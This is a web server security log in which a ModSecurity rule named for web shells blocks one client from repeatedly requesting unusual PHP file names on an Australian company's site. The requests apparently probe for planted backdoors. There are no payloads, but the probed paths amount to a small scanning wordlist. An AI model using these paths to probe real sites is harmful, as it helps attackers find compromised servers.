[Sat Apr 18 20:19:51.444766 2026] [:error] [pid 13023:tid 13046] [client 52.236.80.95:5999] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/CDX2.php"] [unique_id "aeN25_1e7hG8DAeABB8GVgAAARU"]
[Sat Apr 18 20:19:51.982437 2026] [:error] [pid 9865:tid 9955] [client 52.236.80.95:6106] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/CDX2.php"] [unique_id "aeN256zb5knECIY-C-iCSgAAAJI"]
[Sat Apr 18 20:19:52.757471 2026] [:error] [pid 9863:tid 9885] [client 52.236.80.95:5853] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/only.php"] [unique_id "aeN26DjjiypiFrTucbLNVAAAAAw"]
[Sat Apr 18 20:19:53.445851 2026] [:error] [pid 13023:tid 13032] [client 52.236.80.95:5670] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/only.php"] [unique_id "aeN26f1e7hG8DAeABB8GYQAAAQc"]
[Sat Apr 18 20:19:54.175378 2026] [:error] [pid 9863:tid 9876] [client 52.236.80.95:5786] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/only.php"] [unique_id "aeN26jjjiypiFrTucbLNVwAAAAM"]
[Sat Apr 18 20:19:54.754604 2026] [:error] [pid 9865:tid 9950] [client 52.236.80.95:5850] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/only.php"] [unique_id "aeN26qzb5knECIY-C-iCVgAAAI0"]
[Sat Apr 18 20:19:55.316595 2026] [:error] [pid 34237:tid 34239] [client 52.236.80.95:5925] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sts.php"] [unique_id "aeN26xBmX4Wq5a6rxfaqjAAAAUA"]
[Sat Apr 18 20:19:55.974710 2026] [:error] [pid 34290:tid 34338] [client 52.236.80.95:5894] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sts.php"] [unique_id "aeN26xqX6WpmmAXOBi8b-wAAAdM"]
[Sat Apr 18 20:19:57.424801 2026] [:error] [pid 34288:tid 34312] [client 52.236.80.95:5826] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sts.php"] [unique_id "aeN27eTIiy__PtiLmpnTKgAAAZQ"]
[Sat Apr 18 20:19:58.013465 2026] [:error] [pid 9865:tid 9959] [client 52.236.80.95:5720] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sts.php"] [unique_id "aeN27qzb5knECIY-C-iCWAAAAJY"]
[Sat Apr 18 20:19:58.543093 2026] [:error] [pid 9865:tid 9939] [client 52.236.80.95:6023] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/Geforce.php"] [unique_id "aeN27qzb5knECIY-C-iCWwAAAII"]
[Sat Apr 18 20:19:59.164955 2026] [:error] [pid 9864:tid 9927] [client 52.236.80.95:5642] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/Geforce.php"] [unique_id "aeN274CFeowknfXHM7kbcQAAAFU"]
[Sat Apr 18 20:19:59.955040 2026] [:error] [pid 9864:tid 9918] [client 52.236.80.95:5984] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/Geforce.php"] [unique_id "aeN274CFeowknfXHM7kbdQAAAEw"]
[Sat Apr 18 20:20:00.863665 2026] [:error] [pid 9970:tid 9990] [client 52.236.80.95:5909] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/Geforce.php"] [unique_id "aeN28CYdRLRhVmaIMx2zxgAAANA"]
[Sat Apr 18 20:20:01.624115 2026] [:error] [pid 34237:tid 34254] [client 52.236.80.95:5721] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/dichku.php"] [unique_id "aeN28RBmX4Wq5a6rxfaqjgAAAU8"]
[Sat Apr 18 20:20:02.146931 2026] [:error] [pid 34237:tid 34260] [client 52.236.80.95:5886] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/dichku.php"] [unique_id "aeN28hBmX4Wq5a6rxfaqkgAAAVU"]
[Sat Apr 18 20:20:02.721540 2026] [:error] [pid 9864:tid 9923] [client 52.236.80.95:5918] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/dichku.php"] [unique_id "aeN28oCFeowknfXHM7kbeQAAAFE"]
[Sat Apr 18 20:20:03.443973 2026] [:error] [pid 34288:tid 34308] [client 52.236.80.95:5719] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/dichku.php"] [unique_id "aeN28-TIiy__PtiLmpnTLwAAAZA"]
[Sat Apr 18 20:20:03.974805 2026] [:error] [pid 34237:tid 34256] [client 52.236.80.95:5935] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/Okxob.php"] [unique_id "aeN28xBmX4Wq5a6rxfaqqAAAAVE"]
[Sat Apr 18 20:20:04.591846 2026] [:error] [pid 34237:tid 34244] [client 52.236.80.95:6008] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/Okxob.php"] [unique_id "aeN29BBmX4Wq5a6rxfaqrQAAAUU"]
[Sat Apr 18 20:20:05.261748 2026] [:error] [pid 34237:tid 34242] [client 52.236.80.95:5965] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/Okxob.php"] [unique_id "aeN29RBmX4Wq5a6rxfaqxAAAAUM"]
[Sat Apr 18 20:20:05.998619 2026] [:error] [pid 9864:tid 9927] [client 52.236.80.95:5893] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/Okxob.php"] [unique_id "aeN29YCFeowknfXHM7kbegAAAFU"]
[Sat Apr 18 20:20:06.605625 2026] [:error] [pid 34290:tid 34337] [client 52.236.80.95:5921] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/htto.php"] [unique_id "aeN29hqX6WpmmAXOBi8cEQAAAdI"]
[Sat Apr 18 20:20:07.144617 2026] [:error] [pid 34237:tid 34251] [client 52.236.80.95:6013] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/htto.php"] [unique_id "aeN29xBmX4Wq5a6rxfaq3AAAAUw"]
[Sat Apr 18 20:20:07.997190 2026] [:error] [pid 34237:tid 34240] [client 52.236.80.95:5773] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/htto.php"] [unique_id "aeN29xBmX4Wq5a6rxfaq4gAAAUE"]
[Sat Apr 18 20:20:08.713318 2026] [:error] [pid 9865:tid 9943] [client 52.236.80.95:6054] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/htto.php"] [unique_id "aeN2-Kzb5knECIY-C-iCZAAAAIY"]
[Sat Apr 18 20:20:09.247409 2026] [:error] [pid 9970:tid 9986] [client 52.236.80.95:5824] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-ccv.php"] [unique_id "aeN2-SYdRLRhVmaIMx2z1wAAAMw"]
[Sat Apr 18 20:20:09.859105 2026] [:error] [pid 9864:tid 9923] [client 52.236.80.95:6130] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-ccv.php"] [unique_id "aeN2-YCFeowknfXHM7kbpwAAAFE"]
[Sat Apr 18 20:20:10.503335 2026] [:error] [pid 13023:tid 13030] [client 52.236.80.95:5777] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-ccv.php"] [unique_id "aeN2-v1e7hG8DAeABB8GbQAAAQU"]
[Sat Apr 18 20:20:11.187607 2026] [:error] [pid 9970:tid 9976] [client 52.236.80.95:5580] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-ccv.php"] [unique_id "aeN2-yYdRLRhVmaIMx2z2gAAAMI"]
[Sat Apr 18 20:20:12.097706 2026] [:error] [pid 34288:tid 34298] [client 52.236.80.95:5825] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/hfles.php"] [unique_id "aeN2_OTIiy__PtiLmpnTMgAAAYY"]
[Sat Apr 18 20:20:12.605437 2026] [:error] [pid 13023:tid 13027] [client 52.236.80.95:5707] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/hfles.php"] [unique_id "aeN2_P1e7hG8DAeABB8GeQAAAQI"]
[Sat Apr 18 20:20:13.292650 2026] [:error] [pid 9864:tid 9909] [client 52.236.80.95:5827] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/hfles.php"] [unique_id "aeN2_YCFeowknfXHM7kb1QAAAEQ"]
[Sat Apr 18 20:20:13.818926 2026] [:error] [pid 9865:tid 9949] [client 52.236.80.95:5928] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/hfles.php"] [unique_id "aeN2_azb5knECIY-C-iCbwAAAIw"]
[Sat Apr 18 20:20:14.346384 2026] [:error] [pid 9865:tid 9941] [client 52.236.80.95:5910] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tx79.php"] [unique_id "aeN2_qzb5knECIY-C-iCdgAAAIQ"]
[Sat Apr 18 20:20:14.966508 2026] [:error] [pid 9865:tid 9938] [client 52.236.80.95:5941] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tx79.php"] [unique_id "aeN2_qzb5knECIY-C-iCgQAAAIE"]
[Sat Apr 18 20:20:15.611136 2026] [:error] [pid 9864:tid 9917] [client 52.236.80.95:6014] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tx79.php"] [unique_id "aeN2_4CFeowknfXHM7kb6wAAAEs"]
[Sat Apr 18 20:20:16.197755 2026] [:error] [pid 34237:tid 34255] [client 52.236.80.95:6004] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tx79.php"] [unique_id "aeN3ABBmX4Wq5a6rxfarBAAAAVA"]
[Sat Apr 18 20:20:16.825364 2026] [:error] [pid 34237:tid 34250] [client 52.236.80.95:5896] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aligk.php"] [unique_id "aeN3ABBmX4Wq5a6rxfarDwAAAUs"]
[Sat Apr 18 20:20:17.581009 2026] [:error] [pid 34290:tid 34327] [client 52.236.80.95:5706] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aligk.php"] [unique_id "aeN3ARqX6WpmmAXOBi8cRAAAAcg"]
[Sat Apr 18 20:20:18.206863 2026] [:error] [pid 9864:tid 9925] [client 52.236.80.95:6069] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aligk.php"] [unique_id "aeN3AoCFeowknfXHM7kcBAAAAFM"]
[Sat Apr 18 20:20:18.929881 2026] [:error] [pid 34237:tid 34263] [client 52.236.80.95:5857] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aligk.php"] [unique_id "aeN3AhBmX4Wq5a6rxfarIAAAAVg"]
[Sat Apr 18 20:20:19.676250 2026] [:error] [pid 9865:tid 9951] [client 52.236.80.95:5851] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/byrgo.php"] [unique_id "aeN3A6zb5knECIY-C-iCjQAAAI4"]
[Sat Apr 18 20:20:20.217309 2026] [:error] [pid 34237:tid 34245] [client 52.236.80.95:5932] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/byrgo.php"] [unique_id "aeN3BBBmX4Wq5a6rxfarIQAAAUY"]
[Sat Apr 18 20:20:20.720784 2026] [:error] [pid 34237:tid 34252] [client 52.236.80.95:5840] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/byrgo.php"] [unique_id "aeN3BBBmX4Wq5a6rxfarJAAAAU0"]
[Sat Apr 18 20:20:21.315571 2026] [:error] [pid 34290:tid 34334] [client 52.236.80.95:5873] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/byrgo.php"] [unique_id "aeN3BRqX6WpmmAXOBi8cSQAAAc8"]
[Sat Apr 18 20:20:21.944519 2026] [:error] [pid 9970:tid 9988] [client 52.236.80.95:5905] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/press.php"] [unique_id "aeN3BSYdRLRhVmaIMx2z9AAAAM4"]
[Sat Apr 18 20:20:22.492641 2026] [:error] [pid 9865:tid 9953] [client 52.236.80.95:5945] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/press.php"] [unique_id "aeN3Bqzb5knECIY-C-iCkAAAAJA"]
[Sat Apr 18 20:20:23.069971 2026] [:error] [pid 9970:tid 9977] [client 52.236.80.95:5934] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/press.php"] [unique_id "aeN3ByYdRLRhVmaIMx2z9gAAAMM"]
[Sat Apr 18 20:20:23.708179 2026] [:error] [pid 34290:tid 34342] [client 52.236.80.95:5837] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/press.php"] [unique_id "aeN3BxqX6WpmmAXOBi8cTgAAAdc"]
[Sat Apr 18 20:20:24.949840 2026] [:error] [pid 34237:tid 34248] [client 52.236.80.95:5888] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file61.php"] [unique_id "aeN3CBBmX4Wq5a6rxfarKgAAAUk"]
[Sat Apr 18 20:20:25.491316 2026] [:error] [pid 34237:tid 34244] [client 52.236.80.95:6067] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file61.php"] [unique_id "aeN3CRBmX4Wq5a6rxfarLQAAAUU"]
[Sat Apr 18 20:20:26.272222 2026] [:error] [pid 34237:tid 34259] [client 52.236.80.95:5903] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file61.php"] [unique_id "aeN3ChBmX4Wq5a6rxfarMAAAAVQ"]
[Sat Apr 18 20:20:26.902601 2026] [:error] [pid 9863:tid 9875] [client 52.236.80.95:5943] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file61.php"] [unique_id "aeN3CjjjiypiFrTucbLNbgAAAAI"]
[Sat Apr 18 20:20:27.422230 2026] [:error] [pid 9864:tid 9928] [client 52.236.80.95:5979] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tdsaz.php"] [unique_id "aeN3C4CFeowknfXHM7kcDAAAAFY"]
[Sat Apr 18 20:20:28.082373 2026] [:error] [pid 9864:tid 9924] [client 52.236.80.95:5883] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tdsaz.php"] [unique_id "aeN3DICFeowknfXHM7kcEQAAAFI"]
